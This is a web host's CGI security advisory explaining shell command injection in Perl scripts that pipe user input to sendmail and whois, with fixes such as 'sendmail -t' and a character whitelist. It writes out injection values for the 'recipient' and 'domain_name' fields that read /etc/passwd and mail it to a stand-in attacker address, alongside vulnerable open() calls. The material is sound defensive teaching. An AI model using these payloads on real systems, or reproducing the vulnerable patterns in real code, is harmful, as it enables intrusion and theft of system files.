CGI Security Issues

Blue Reef strongly advises you to check all scripts you download "free" from a third party source. You should specifically look for instances were the script opens a file handle to an external program such as a mail executable (a common task). When these file handles are opened using user-supplied data, you should ensure that these data have been properly "sanitized".

For example, you may have a script which packages user-supplied and emails it to a recipient. Perhaps it looks something like:

open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'email_address'}\n";
.
.
.
close(MAIL);

The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of "recipient" something like the following:

some@email.address; cat /etc/passwd | mail attacker@email.address
some@email.address && mail attacker@email.address < /etc/passwd

The easiest way to deny an attack in this particular example is to eliminate user-supplied data from the open command. The sendmail program has a very useful flag , -t, which when set forces sendmail to read the message headers (To:, Cc:, Bcc:) for recipients. So instead of:

open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");

use this:

open (MAIL, "|/bin/sendmail -t");

Another possible vulnerability can occur when a script executes an external program. For example, you may have a script which performs a "lookup" on a user-specified domain name's availability. In the lookup source code, you may encounter a line that looks something like this:

open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");

The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of "domain_name" something like the following:

domain.name; cat /etc/passwd | mail attacker@email.address
domain.name && mail attacker@email.address < /etc/passwd

The best way to prevent these types of attacks from being successful is to "sanitize" user-supplied data. Sanitizing user-supplied data is the process of eliminating any nonessential characters. So, in the example above, it would be very wise to check the "domain_name" against a valid character set which includes letters, digits, dashes, and periods. This can be accomplished using just a few lines of perl:

if ($user_supplied_data{'domain_name'} =~ /[^A-Za-z0-9\.\-]/) {
  print "Content-type: text/plain\n\n";
  print "Uh... you entered an invalid domain name.";
  exit(0);
}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
.
.
.

All of the scripts in our CGI scriptorium use proper security sanitizing methods. Although we cannot guarantee the security of all the other Server Add-Ons, we have examined and corrected some problems we have encountered. We also pay close attention to CERT advisories and bulletins that have applicability to the Blue Reef Virtual Server System.

More information about proper CGI security is presented (including examples of specific programming techniques) at the following URLs:

The Web Security FAQ
Removing Meta-characters From User-Supplied Data In CGI Scripts

Other Resources

CERT Coordination Center
CERT advisories on USENET
CERT advisories via email
(Type "SUBSCRIBE your@email.address" in the subject line.)